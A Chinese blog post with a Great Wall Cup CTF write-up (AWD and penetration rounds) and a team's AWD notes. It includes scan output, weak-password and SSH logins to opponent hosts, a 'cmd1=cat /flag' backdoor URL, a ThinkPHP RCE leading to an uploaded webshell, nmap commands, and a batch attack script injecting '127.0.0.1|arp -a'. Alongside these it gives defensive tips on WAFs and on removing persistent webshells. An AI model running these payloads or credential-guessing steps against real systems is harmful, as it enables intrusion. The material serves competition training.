• 第一届长城杯半决赛wp和AWD笔记


    目录

    AWD

    渗透

    cfs

    单节点1

    AWD笔记

    AWD工具

    文件比较工具

    Web漏洞扫描工具

    waf工具

    代码审计工具

    批量网站备份文件泄露扫描工具

    cms通杀漏洞的利用

    通杀脚本和批量提交flag脚本

    防御流程

    攻击流程

    注意


    AWD

    解题思路]

    img

    首先就是fscan快速扫描对应C段, 发现对应103的C段存活85个主机。

    继续扫描

    img

    (icmp) Target192.168.103.3isalive
    (icmp) Target192.168.103.2isalive
    (icmp) Target192.168.103.5isalive
    (icmp) Target192.168.103.6isalive
    (icmp) Target192.168.103.4isalive
    (icmp) Target192.168.103.9isalive
    (icmp) Target192.168.103.12isalive
    (icmp) Target192.168.103.10isalive
    (icmp) Target192.168.103.15isalive
    (icmp) Target192.168.103.16isalive
    (icmp) Target192.168.103.14isalive
    (icmp) Target192.168.103.19isalive
    (icmp) Target192.168.103.20isalive
    (icmp) Target192.168.103.23isalive
    (icmp) Target192.168.103.22isalive

    (icmp) Target192.168.103.25isalive
    (icmp) Target192.168.103.28isalive
    (icmp) Target192.168.103.27isalive
    (icmp) Target192.168.103.24isalive
    (icmp) Target192.168.103.26isalive
    (icmp) Target192.168.103.30isalive
    (icmp) Target192.168.103.31isalive
    (icmp) Target192.168.103.32isalive
    (icmp) Target192.168.103.36isalive
    (icmp) Target192.168.103.37isalive
    (icmp) Target192.168.103.35isalive
    (icmp) Target192.168.103.39isalive
    (icmp) Target192.168.103.38isalive
    (icmp) Target192.168.103.43isalive
    (icmp) Target192.168.103.44isalive
    (icmp) Target192.168.103.45isalive
    (icmp) Target192.168.103.47isalive
    (icmp) Target192.168.103.49isalive
    (icmp) Target192.168.103.52isalive
    (icmp) Target192.168.103.50isalive
    (icmp) Target192.168.103.55isalive
    (icmp) Target192.168.103.56isalive
    (icmp) Target192.168.103.59isalive
    (icmp) Target192.168.103.60isalive
    (icmp) Target192.168.103.58isalive
    (icmp) Target192.168.103.57isalive
    (icmp) Target192.168.103.61isalive
    (icmp) Target192.168.103.63isalive
    (icmp) Target192.168.103.62isalive
    (icmp) Target192.168.103.65isalive
    (icmp) Target192.168.103.67isalive
    (icmp) Target192.168.103.71isalive
    (icmp) Target192.168.103.68isalive
    (icmp) Target192.168.103.69isalive
    (icmp) Target192.168.103.73isalive
    (icmp) Target192.168.103.74isalive
    (icmp) Target192.168.103.70isalive
    (icmp) Target192.168.103.72isalive

    (icmp) Target192.168.103.80isalive
    (icmp) Target192.168.103.76isalive
    (icmp) Target192.168.103.75isalive
    (icmp) Target192.168.103.79isalive
    (icmp) Target192.168.103.77isalive
    (icmp) Target192.168.103.78isalive
    (icmp) Target192.168.103.81isalive
    (icmp) Target192.168.103.82isalive
    (icmp) Target192.168.103.84isalive
    (icmp) Target192.168.103.88isalive
    (icmp) Target192.168.103.89isalive
    (icmp) Target 等等等等192.168.103.91isalive

    好笑的是我们比赛之前先上了其他队的kali,哈哈弱口令1

    之后。发现都开启了对应的端口,尤其是ssh 22端口开放,根据裁判声明,直接尝试登录 其他主队主机。

    因为有三个题,在当时做的时候,刚开始登陆过题目一所在主机,但只获取的对应 flag,忘记进行审计代码,忽略掉

    第二道题为PHP类型的,这里忘记截图了,审计代码发现存在一个php文件, 里面 含有命令执行功能。

    这是一道通杀:访问 http:ơurl/demo.php?cmd1=cat /flag 即可拿到 flag,于是凭借这个思路,拿下全部存活主机flag (部分做出防护的,未拿下)

    第三道题为java,这道题是最后才找到代码开始审计,也是发现相关执行系统命令 的功能,但是时间不够,没有做出来

    呼叫队友对存活主机继续尝试ssh连接拿flag。

    下面附上部分截图

    img

    img

    img

    img

    攻击成果

    微信图片_20240425214950

    渗透

    cfs

    image-20240425215154896

    直接漏洞,发现开启了80、22、8080端口,并且在8080发现poc,看上面写

    的是tp5.0.23版本的RCE,拿工具直接打

    image-20240425215205254

    如上图,可以看到存在两个漏洞,但不能直接命令执行,尝试上传webshell

    image-20240425215227797

    看到上传成功,之后蚁剑连接,根目录拿到第一个flag

    image-20240425215249495

    单节点1

    image-20240425215309971

    依旧fscan漏扫,发现存在敏感文件泄露,访问之后得到zip,尝试压缩发现需要密

    这里尝试了弱口令,拿到flag

    image-20240425215337242

    还有后面在那个里面还有流量分析,可以获得flag

    AWD笔记

    AWD工具

    文件比较工具

    DiffMerge 是一个强大的文件比较工具

    打开俩个文件夹,可以进行比较

    image-20240418193747323

    如果不同会标记

    然后双击打开,查看不同

    image-20240418193910797

    免费好用的Diff和Merge工具大总结 - hfyfpga - 博客园 (cnblogs.com)

    Web漏洞扫描工具

    D盾导入文件就可以扫描文件中漏洞,将网站的文件下载下来

    自定义扫描,放进D盾扫描,会爆后面,5基本上是后门了

    image-20240418215227773

    还有iis防火墙防御,还没用不知道什么样子的

    waf工具

    watchbird Releases · leohearts/awd-watchbird · GitHub

    • 易于配置(单文件, 无需加载外部js/css)

    • 可以随时开启/关闭某项防御

    • 基本防御:

      • 数据库注入(sql injection)

      • 文件上传(upload)

      • 文件包含(lfi)

      • flag关键字

      • PHP反序列化(unserialize)

      • 命令执行(rce)

      • 分布式拒绝服务攻击(ddos)

      • 请求头,请求参数(GET/POST)关键字

      • 特殊字符

    • 深度防御:

      • 响应检测/反向代理(默认将流量发送至本地服务器自检,可配置代理服务器IP及端口实现反代功能)

      • 响应flag检测并返回虚假flag

      • 基于LD_PRELOAD的指令执行保护

      • 基于open_basedir的PHP文件操作保护

    • 网页控制台:

      • 功能开关及配置

      • 实时日志查看

      • 日志流量重放, 可广播流量至指定网段, 支持提取flag自动提交

      • RCE/文件上传/深度检测 防御通知(由于chrome无法允许不安全的网站(无SSL证书)显示通知,请使用Firefox并修改about:config中dom.webnotifications.allowinsecure为true)

      工具部署

      1.下载最新 release
      ​
      2.将waf.so,watchbird.php文件存放在/var/www/html或其他目录中
      ​
      3.将watchbird.php放在www-data可读的目录, 确保当前用户对目标目录可写, 然后执行php watchbird.php --install [Web目录], 安装器将输出安装了watchbird的文件路径
      ​
      4.访问任意启用了waf的文件, 参数?watchbird=ui打开watchbird控制台, 创建一个初始密码
      ​
      5.如需卸载, 请在相同的位置输入php watchbird.php --uninstall [Web目录], 如果您多次运行了安装, 请多次运行卸载直到卸载器无输出
      ​
      6.将以下代码放入需要启用waf的php脚本的第一行 6.enjoy it!

      多准备点其他的比如数Tomcat就要用java的waf

    代码审计工具

    Seay源码审计系统

    可以自动审计,也可手动审计

    image-20240419005517156

    批量网站备份文件泄露扫描工具

    ihoneyBakFileScan

    简介

    网站备份文件泄露可能造成的危害:

    1. 网站存在备份文件:网站存在备份文件,例如数据库备份文件、网站源码备份文件等,攻击者利用该信息可以更容易得到网站权限,导致网站被黑。
    2. 敏感文件泄露是高危漏洞之一,敏感文件包括数据库配置信息,网站后台路径,物理路径泄露等,此漏洞可以帮助攻击者进一步攻击,敞开系统的大门。
    3. 由于目标备份文件较大(xxx.G),可能存在更多敏感数据泄露
    4. 该备份文件被下载后,可以被用来做代码审计,进而造成更大的危害
    5. 该信息泄露会暴露服务器的敏感信息,使攻击者能够通过泄露的信息进行进一步入侵。

    下安裝后的操作

        批量url扫描    python3.5 ihoneyBakFileScan.py -t 100 -f url.txt
        单个url扫描    python3.5 ihoneyBakFileScan.py -u https://www.ihoneysec.top/
                      python3.5 ihoneyBakFileScan.py -u www.ihoney.net.cn
                      python3.5 ihoneyBakFileScan.py -u www.ihoney.net.cn -d dict.txt

    cms通杀漏洞的利用

    首先下载所有漏洞的库和poc

    image-20240420225356766

    然后用ehole扫描指纹

    image-20240420231753858

    然后安装Listary

    双击ctrl,弹出输入扫出的cms,对应的漏洞库漏洞,然后复现

    image-20240420231905823

    通杀脚本和批量提交flag脚本

    这个很重要一定要提前写好,比如到时候很浪费时间,我第一次打AWD的时候就脚本问题,好浪费时间 下面是一个工具和提交写在一起脚本

    import requests
    import re
    ​
    path = '/WebApi/competitionCyberRange/static/base/#/competition/route/competiManage/competiAnswer'   # 攻击路径
    ​
    headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0',
    'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
              "Accept-Language": 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding': 'gzip, deflate',
    'Connection': 'close',
    'Cookie': 'JSESSIONID=823B9BC42B2A423CD515CEAEC3ECCDAA'
    }
    ​
    data = {
        'ip': '127.0.0.1|arp -a',
        'Submit': 'Submit'
    }
    ​
    #flag提交地址
    url_flag = 'http://10.0.0.1/submit.php?token=123456&flag='
    ​
    #批量攻击和提交
    def attack():
        with open('urls.txt', 'r') as file:
            for line in file:
                url = line.strip()  + path      # 攻击url
                ret = requests.post(url=url, headers=headers, data=data, timeout=10)
                #print("Response:", ret.text)  # 调试输出
                flag_match = re.search(r'flag\{.+\}', ret.text)
                if flag_match:
                    flag = flag_match.group()
                    print("Flag:", flag)
                    flag_url = url_flag + flag
                    #res = requests.post(url=flag_url,headers=headers,timeout=2)   #注意这里的headers可能有问题,需要根据实际情况修改
                    print(res.text)
                else:
                    print(line.strip() +  " Flag not found")
    attack()

    防御流程

    1. 改密码 (如果每个队服务器密码一样的话,很容易被人给脚本改密码)

    2. 备份(最少三份)

    3. D盾扫后门,删除后门

    4. 漏洞修复

    5. 上waf

    6. 关进程

    7. 22,445,139端口,80-89web服务不用关闭等等

    攻击流程

    1.先扫描自己端口信息 一般先搜集自己的主机端口信息,比赛主机开放端口情况大多情况一致,然后类比指定扫描其他主机端口信息,最后挂后台全端口扫描防止端口遗漏

    2.一般工具扫描

    3.通过自己的弱点去攻击其他人的服务器

    注意

    1.Token是用于脚本身份凭证用于自动化提交鉴别。虚拟IP为靶机访问网址。其他选手地址可能就为192-168-x-250.pvp923.bugku.cn,x可以是1-255内任一个数字。

    主机探测一般使用nmap或者是httpscan

    nmap -sn 192.168.0.0/24 #扫描c段主机存活
    nmap -sV 192.168.0.2      #扫描主机系统版本
    nmap -sS 192.168.0.2      #扫描主机常用端口
    nmap -sS -p 80,445 192.168.0.2 #扫描主机部分端口
    nmap -sS -p- 192.168.0.2    #扫描主机全部端口
    ​
    hhtpscan.py 192.168.0.0/24 -t 10 #同上

    2.输入赛方提供的用户名和密码进行登录,用户权限一般较低。有时候会用RSA公钥登录的方式进行登录。或者是其他加密方式

    3.端口利用方式未授权访问和弱口令漏洞

    4.找到主配置文件

    find / -name "nginx.conf"         #定位nginx目录
    find / -path "*nginx*" -name nginx*conf  #定位nginx配置目录
    find / -name "httpd.conf"         #定位apache目录
    find / -path "*apache*" -name apache*conf #定位apache配置目录
    find / -name "index.php"

    5.这个是参考,自动化利用工具扫描https://github.com/sry309/ihoneyBakFileScan 多进程批量网站备份文件泄露扫描工具

    批量url扫描    
    python3.5 ihoneyBakFileScan.py -t 100 -f url.txt
    单个url扫描    
    python3.5 ihoneyBakFileScan.py -u https://www.ihoneysec.top/
    python3.5 ihoneyBakFileScan.py -u www.ihoney.net.cn
    python3.5 ihoneyBakFileScan.py -u www.ihoney.net.cn -d dict.txt

    6.杀死不死马

    ps auxww|grep shell.php 找到pid后杀掉进程

    循环杀进程

    ps aux|grep www-data|awk '{print $2}'|xargs kill 

    重启php等web服务

    service php-fpm restart

    用一个ignore_user_abort(true)脚本,一直竞争写入(断断续续)

    创建一个和不死马生成的马一样名字的文件夹 mkdir 1.php

    循环创建

    #!/bin/bash
    dire="/var/www/html/.base.php/"
    file="/var/www/html/.base.php"
    rm -rf $file
    mkdir $dire
    ./xx.sh

    7.在攻击web服务的时候说下两种情况 一种是已有漏洞的框架,一种是出题人写的框架。如果是已有漏洞的框架,通常会比较明显。比如说Struts2各种漏洞等等,用工具扫就可以扫出来。这个需要准备得比较充分,在电脑中备好 EXP 库、漏洞库和各种扫描工具库,以便能够快速利用比较明显的漏洞。

    另一种情况就是分析WEB日志,学习其他选手攻击思路和漏洞利用过程,也是一个不错的得分途径。

    8.网站备份目的是防止源码出错,或者是被对手恶意删除代码,或快速回复网站防止被裁判组check探测服务存活失败丢分

    9.数据备份,数据库配置信息一般可以通过他的config.php/web.con等文件获取 10.注意内存马上了,会让服务器宕机,没法重启

  • 相关阅读:
    防火墙软件 iptables
    43. 字符串相乘
    idea 调试小心得
    使用VMware安装linux虚拟机
    c++ 哈希表(Hash Table)
    SQL的ROUND函数用法及其实例
    【Flink源码篇】Flink提交流程之flink命令自定义参数的解析和命令行客户端的选择
    c#正则表达式
    React(2)-函数组件
    深部位移监测系统wk813应用边坡、大坝、堤防、铁路和建筑基坑开挖等深部位移测量
  • 原文地址:https://blog.csdn.net/qq_74806534/article/details/138200839